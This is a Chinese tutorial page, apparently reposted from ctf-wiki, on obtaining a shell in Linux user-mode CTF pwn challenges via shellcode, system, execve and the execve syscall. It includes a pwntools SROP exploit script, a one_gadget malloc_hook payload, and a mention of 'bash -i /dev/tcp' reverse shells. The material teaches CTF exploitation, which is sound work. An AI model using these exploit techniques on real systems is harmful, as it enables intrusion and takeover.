首页/新闻资讯/正文详情

ctf-wiki Pwn 实战:Linux 用户态下获取 Shell 的四种方式全解析

发布时间:2026/9/25 2:40:41 来源:云帆数科 栏目:资讯中心
ctf-wiki Pwn 实战:Linux 用户态下获取 Shell 的四种方式全解析
文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载本篇技术文章基于 ctf-wiki 的 Linux 用户态 Pwn「获取 Shell 小结」文档docs/zh/docs/pwn/linux/user-mode/summary/get-shell.md展开系统梳理 CTF 二进制漏洞利用中最终拿下 shell阶段的四类主流姿势shellcode、system 函数、execve 函数与 execve 系统调用。读完本文你将能针对不同程序保护配置NX、PIE、环境完整性选择合适的拿 shell 方案并理解每种方案的参数布置成本、环境变量风险与地址获取策略。总览获取到的 Shell 有两种形式在 Linux 用户态 Pwn 中我们最终获取到的 shell 一般有两种形式直接可交互的 shell利用脚本执行后直接进入/bin/sh与程序终端交互将 shell 绑定到指定 ip 的指定端口在远程题目中更常见利用bash -i /dev/tcp/ip/port 01或nc等手法将目标机 shell 反弹bind/reverse到攻击者监听的端口。二者的差别只在拿到 shell 之后的连接方式而拿到 shell 之前的核心问题是一致的如何把目标程序的执行流引导到一条能产生/bin/sh的路径上。下面依次介绍四种常见方式。方式一布置 shellcode在利用 shellcode 获取 shell 时基本要求就是我们能够将 shellcode 布置在可写可执行的内存区域中。因此在没有可写可执行的内存区域即 NX 保护开启的时候我们需要利用mprotect等函数设置相关内存的权限。从 ctf-wiki 的相关章节可以看到实际题目中无 RX 段是常态。例如在花式栈溢出技巧docs/zh/docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md讨论的 X-CTF Quals 2016 - b0verfl0w 一题中程序 checksec 结果同时满足NX disabled Has RWX segments此时可以直接在栈上布置 shellcode用jmp espgadget 跳转执行而当 NX 开启时就必须先通过 ROP 调用mprotect修改内存页权限再跳转执行。此外有时候 shellcode 中的字符必须满足某些要求比如只能是可打印字符、字母或数字常见于把 payload 塞进受过滤的输入框、JSON 字段或 URL 参数中。这要求我们在编写 shellcode 时对字节做约束过滤或者选择对字符集不敏感的方式如优先走 system/execve 路线。shellcode 路线的优点是不依赖 libc 符号地址缺点则是依赖可控可执行内存且在 NX 开启时需要先调用mprotect这本身就是一条 ROP 链成本与 execve 路线相当。方式二调用 system 函数最典型的用法是执行system(/bin/sh)、system(sh)等函数。这里我们主要需要找到两类地址具体获取思路可参考仓库中的获取地址小结 docs/zh/docs/pwn/linux/user-mode/summary/get-address.mdsystem 的地址通常在 libc 中需要已知 libc 版本与基地址即system_addr libc_base offset(system)/bin/sh、sh字符串的地址常见来源有三类检查 binary 里面是否自带该字符串用strings/grep在目标二进制或其数据段中查找考虑自行读取对应字符串到一块可控内存中例如用read把字符串写入栈/堆/bss再把该位置作为第一个参数libc 中其实是有/bin/sh的在对应的 libc 文件里搜索该字符串得到其相对 libc 基址的偏移再计算运行期地址。在 system 获取 shell 时一个非常好的优点在于我们只需要布置一个参数x86-64 下即rdi /bin/shROP 链最短、对可控内存空间的要求最低。缺点在于system 内部最终会走forkexecve去执行/bin/sh -c ...在布置参数时可能因为破坏了环境变量argv/envp 区域而导致子进程无法启动。环境变量区域紧邻栈上参数区一次越界的写入就可能让 shell 起来后立刻异常退出——这正是后文获取地址时特别提示往高地址连续读取可能覆盖环境变量、导致 shell 不能启动的原因。方式三调用 execve 函数直接执行execve(/bin/sh, NULL, NULL)。在利用execve获取 shell 时所需的前置工作与 system 路线一致同样需要execve的地址libc 偏移和/bin/sh字符串地址。但它具有一个显著优点——几乎不受环境变量的影响因为它不做 fork、不经过 shell 的-c解析路径直接把当前进程映像替换为/bin/sh缺点是需要布置三个参数x86-64 下为rdi /bin/sh、rsi 0、rdx 0对 ROP 链长度或寄存器布置的要求更高。补充one_gadget 捷径在 execve 路线下还有一个常用捷径glibc 中可以使用one_gadget来获取 shell。所谓 one_gadget是 libc 中某段固定代码只要调用它并满足其寄存器等前置条件如某个寄存器为 0、某段内存为 0 等就会直接触发execve(/bin/sh)类行为。ctf-wiki 堆利用章节docs/zh/docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md中给出了真实利用片段将malloc_hook覆写为 one_gadget 地址后触发一次malloc即可拿到 shellone_gadget_addr libc_base 0xf02a4 payload a * 0x13 p64(one_gadget_addr)原文特别提示这里可能需要多选择几个 one_gadget 地址因为 one_gadget 成功是有条件的——同一 libc 通常存在多个候选 gadget需要对照候选点的前置寄存器/内存约束逐一验证这与 system/execve 路线参数可控即稳定的特性形成对比。方式四直接发起 execve 系统调用不经过 libc 包装函数直接执行syscall指令发起系统调用。系统调用号__NR_execve在IA-32 中为 11x86-64 为 59即 x86-64 下rax 59rdi指向/bin/shrsi/rdx置 0然后执行syscall指令即可。它的优点在于几乎不受环境变量的影响与 execve 函数路线相同且不依赖 libc 基地址然而我们需要找到syscall之类的系统调用指令即程序或 libc 中现成的syscall指令地址并且还要能把调用号 5964 位准确放进rax。SROP伪造 Signal Frame 的拿 shell 范例找到 syscall 指令 控制寄存器这一难点在 SROPSigreturn Oriented Programming中有完整的实战答案。SROP 的核心是伪造一段位于用户地址空间的 Signal Frame执行 sigreturn 系统调用调用号 32 位为 119、64 位为 15后内核会按 Signal Frame 恢复全部寄存器等价于一次寄存器批量赋值随后让rip指向syscall; retgadget 即可触发真正的 execve。伪造 Signal Frame 的栈布局如下图所示ctf-wiki 在 docs/zh/docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md 中以 360 春秋杯 smallest-pwn64 位、静态链接、仅 NX 保护给出了完整利用流程其 pwntools 脚本的核心结构值得注意from pwn import * from LibcSearcher import * # ... 省略 leak 栈地址的步骤 ... sigframe SigreturnFrame() sigframe.rax constants.SYS_execve # rax 59 sigframe.rdi stack_addr 0x120 # /bin/sh 的地址 sigframe.rsi 0x0 sigframe.rdx 0x0 sigframe.rsp stack_addr sigframe.rip syscall_ret # syscall; ret gadget payload p64(start_addr) b * 8 str(sigframe) payload (0x120 - len(payload)) * \x00 /bin/sh\x00 sh.send(payload) sh.send(sigreturn) # 先让 rax15执行 sigreturn sh.interactive()这个例子恰好把 get-shell 小结中的关键点串了起来/bin/sh字符串是自行读取到栈上的syscall指令来自程序内的syscall; retgadget寄存器值通过 SigreturnFrame 批量布置——这正是syscall 路线在无 libc、无可用函数符号时的典型形态。此外该题还展示了如何间接控制rax利用read的返回值读取字节数来设置 sigreturn 调用号 15。SROP 路线需要满足的条件同样摘自 docs/zh/docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md可以通过栈溢出来控制栈的内容需要知道相应地址/bin/sh、Signal Frame、syscall、sigreturngadget需要有足够大的空间塞下整个 Signal Frame。四种方式对比小结方式需要布置的参数/内容是否依赖 libc 地址受环境变量影响关键前提shellcode一段 shellcodemprotect调用否基本不受影响可写可执行内存或可调用mprotectsystem1 个参数/bin/sh地址是system 地址会破坏 envp 可能起不来system 地址 字符串地址execve3 个参数是execve 地址几乎不受影响execve 地址 字符串地址execve 系统调用rax11/59 3 参数 syscall指令否几乎不受影响找到syscall指令或 SROP 框架四条路线的选择可以概括为有 RWX 段或能调mprotect→ shellcode 最省事能稳定泄露 libc 基址、且参数区离环境变量足够远 → system单参数链最短参数布置空间充足、不想承担环境变量风险 → execve 函数无 libc静态链接或 libc 不可得 → 裸系统调用配合syscallgadget / SROP / one_gadget针对有 libc 的 hook 覆写场景。附获取地址的一般策略get-shell 小结多次提到需要找到地址仓库中的配套文档 docs/zh/docs/pwn/linux/user-mode/summary/get-address.md 将获取地址的方法按成本递进分为四类直接寻找如未开 PIE 时代码段地址固定、泄漏GOT 表、/proc/self/maps、ret2dl-resolve 等、推测利用段内符号相对偏移固定如 glibc 后三位 ASLR 不随机、猜测32 位地址空间小可爆破。对本文四种拿 shell 方式而言system/execve 路线本质上都在解决system/execve 地址 /bin/sh 字符串地址这两个地址问题而 one_gadget 路线则把二者合并为libc 基址 gadget 偏移一个问题。参考资料获取 Shell 小结本文主体文档docs/zh/docs/pwn/linux/user-mode/summary/get-shell.md、docs/zh-tw/docs/pwn/linux/user-mode/summary/get-shell.md获取地址小结docs/zh/docs/pwn/linux/user-mode/summary/get-address.md控制流劫持小结docs/zh/docs/pwn/linux/user-mode/summary/hijack-control-flow.mdSROP 攻击原理与示例docs/zh/docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.mdone_gadget 实际用法fastbin attack 章节docs/zh/docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md花式栈溢出技巧shellcode stack pivoting 场景docs/zh/docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐CTF Pwn 环境搭建完全指南基于 ctf-wiki 的 Linux 用户态做题环境部署实战CTF Pwn 环境搭建完全指南基于 ctf wiki 的 Linux 用户态做题环境部署实战 导读 本指南以 ctf wiki 仓库中的 Pwn 环境搭建文文档网络安全教程ctf-wiki 中的 Linux Pwn 地址获取技术直接获取、信息泄漏、偏移推测与暴力猜测的完整思路ctf wiki 中的 Linux Pwn 地址获取技术直接获取、信息泄漏、偏移推测与暴力猜测的完整思路 在 Linux 用户态 Pwn 中远程环境下 AS文档网络安全教程ctf-wiki 内核安全入门Linux Kernel Pwn 基础知识全景特权级、系统调用、权限管理与防护机制ctf wiki 内核安全入门Linux Kernel Pwn 基础知识全景特权级、系统调用、权限管理与防护机制 本文是 ctf wiki 仓库 内核模式文档网络安全教程上一篇深入理解Hono OpenAPI中间件从validator到describeRoute的使用详解下一篇SurveyKing 终极指南如何打造专业级开源问卷调查系统创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

相关推荐

grammars-v4 仓库中的语义化版本解析:基于 ANTLR v4 的 SemanticVersion 文法深度解析
grammars-v4 仓库中的语义化版本解析:基于 ANTLR v4 的 SemanticVersion 文法深度解析

编程语言编译器开发工具 【免费下载链接】grammars-v4 Grammars written for ANTLR v4; expectation that the grammars are free of actions. 项目地址: https://gitcode.com/gh_mirrors/gr/grammars-v4 点击查看 免费下载 导读 本文以 grammars-v4 仓库中的 sem… · 2026/9/25 2:40:35

ChatGPT 微服务应用体系构建:chatgpt-api 工程 DDD 重构与流式异步响应接口实现
ChatGPT 微服务应用体系构建:chatgpt-api 工程 DDD 重构与流式异步响应接口实现

文档教程后端 【免费下载链接】CodeGuide :books: 本代码库是作者小傅哥多年从事一线互联网 Java 开发的学习历程技术汇总,旨在为大家提供一个清晰详细的学习教程,侧重点更倾向编写Java核心内容。如果本仓库能为您提供帮助,请给予支持(关注、… · 2026/9/25 2:40:35

@turf/bbox-clip 实战指南:用 Turf.js 将 GeoJSON 要素精确裁剪到包围盒
@turf/bbox-clip 实战指南:用 Turf.js 将 GeoJSON 要素精确裁剪到包围盒

数据分析 【免费下载链接】turf A modular geospatial engine written in JavaScript and TypeScript 项目地址: https://gitcode.com/gh_mirrors/tu/turf 点击查看 免费下载 bboxClip 是 Turf.js 地理空间引擎中的一个轻量级裁剪模块,它接收一个 LineS… · 2026/9/25 2:40:29

银河麒麟与Windows双系统启动顺序深度解析
银河麒麟与Windows双系统启动顺序深度解析

1. 项目概述:为什么改启动顺序不是“点几下鼠标”的事你装好了银河麒麟V10和Windows 11双系统,开机却总先进入Windows——不是你按错了键,是GRUB菜单压根没弹出来;或者GRUB倒是出来了,但麒麟排在第三行,Win… · 2026/9/25 3:32:09

NAT10下游基因预测:生物信息学与机器学习全流程解析
NAT10下游基因预测:生物信息学与机器学习全流程解析

简介:一个面向生物信息学与机器学习交叉应用的NAT10下游基因预测项目资源包,适合生信初学者、研究生及关注基因调控机制的研究者参考。资源围绕与NAT10相关的GEO表达数据集展开,完整覆盖数据提取、清洗、标准化,以及基于支持向量机… · 2026/9/25 3:32:09

WinForm与DevExpress控件继承体系解析
WinForm与DevExpress控件继承体系解析

1. WinForm与DevExpress控件继承体系解析在Windows Forms应用程序开发中,DevExpress控件套件因其丰富的UI组件和强大的功能而广受欢迎。但许多开发者在从原生WinForm控件转向DevExpress控件时,经常会遇到一个看似简单却令人困惑的问题:为什么… · 2026/9/25 3:32:09

AI编码代理失控怎么破?用Trellis给代理装上行为辅助轮
AI编码代理失控怎么破?用Trellis给代理装上行为辅助轮

说实话,用AI编码代理写代码这件事,最让我崩溃的不是它"不会",而是它"太会了"。让它改个接口,它能顺手把整个模块的注释风格全改了;让它加一行日志,它能自作主张重构一个看似无关的函数… · 2026/9/25 3:32:09

使用 AWS SDK for JavaScript (v3) 开发 Amazon SES:身份验证、发信、模板与收件规则完整实战指南
使用 AWS SDK for JavaScript (v3) 开发 Amazon SES:身份验证、发信、模板与收件规则完整实战指南

示例工程教程后端 【免费下载链接】aws-doc-sdk-examples Welcome to the AWS Code Examples Repository. This repo contains code examples used in the AWS documentation, AWS SDK Developer Guides, and more. For more information, see the Readme.md file below. 项目地… · 2026/9/25 3:32:09

html-anything 竞品拆解技能实战:把竞品资料转成产品决策报告 —— 以 AI 会议助手市场为例
html-anything 竞品拆解技能实战:把竞品资料转成产品决策报告 —— 以 AI 会议助手市场为例

AI 应用人工智能AI AgentAI 写作媒体生成 【免费下载链接】html-anything ✨ The agentic HTML editor — your local AI agent writes the HTML, you ship it. 🚀 75 Skills 9 Surfaces (magazine deck poster XHS / tweet prototype data report Hyperfram… · 2026/9/25 3:32:03

数值优化(Numerical Optimization)学习系列-03-共轭梯度方法(Conjugate Gradient)
数值优化(Numerical Optimization)学习系列-03-共轭梯度方法(Conjugate Gradient)

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 1:00:31

创维E900V22D刷机全攻略:S905L3SB芯片兼容性解析与救砖实战
创维E900V22D刷机全攻略:S905L3SB芯片兼容性解析与救砖实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 1:00:31

MQTT协议原理与Broker服务器搭建实战:从Mosquitto到EMQX
MQTT协议原理与Broker服务器搭建实战:从Mosquitto到EMQX

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 1:00:37

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码